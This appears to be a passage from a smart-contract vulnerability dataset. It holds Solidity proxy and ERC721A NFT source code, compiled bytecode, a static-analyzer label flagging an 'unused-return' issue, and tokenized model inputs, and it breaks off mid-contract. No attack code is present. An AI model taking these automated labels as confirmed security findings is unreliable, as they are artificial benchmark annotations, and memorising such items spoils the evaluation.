0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122009329001779ca3c8d1fdd17a9b16c0a32fad17944b0a9d78b1aef8976228e22664736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2094, 2575, 17465, 8586, 22407, 2050, 2692, 26187, 3676, 19797, 2094, 2487, 27717, 2683, 18139, 2278, 2620, 2497, 16409, 2050, 17465, 2629, 2063, 2692, 2575, 2683, 2497, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 6070, 2620, 2620, 2620, 2620, 2620, 2497, 1012, 6070, 2620, 1012, 1040, 2620, 2620, 2620, 2620, 2497, 1012, 6070, 2620, 6070, 2620, 1013, 1013, 6070, 2620, 1000, 1061, 2620, 2620, 2497, 6070, 2620, 1040, 2620, 2620, 2361, 1061, 2620, 2620, 2497, 6070, 2620, 6070, 2620, 1013, 1013, 6070, 2620, 6070, 2620, 6070, 2620, 6070, 2620, 6070, 2620, 6070, 2620, 6070, 2620, 1013, 1013, 6070, 2620, 6070, 2620, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,464
0x96D664a802e68b8E4ae66895a6b85d264E646cce
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal collectionSize; uint256 internal collectionSizeFree; uint256 internal maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_, uint256 collectionSizeFree_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; collectionSizeFree = collectionSizeFree_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() 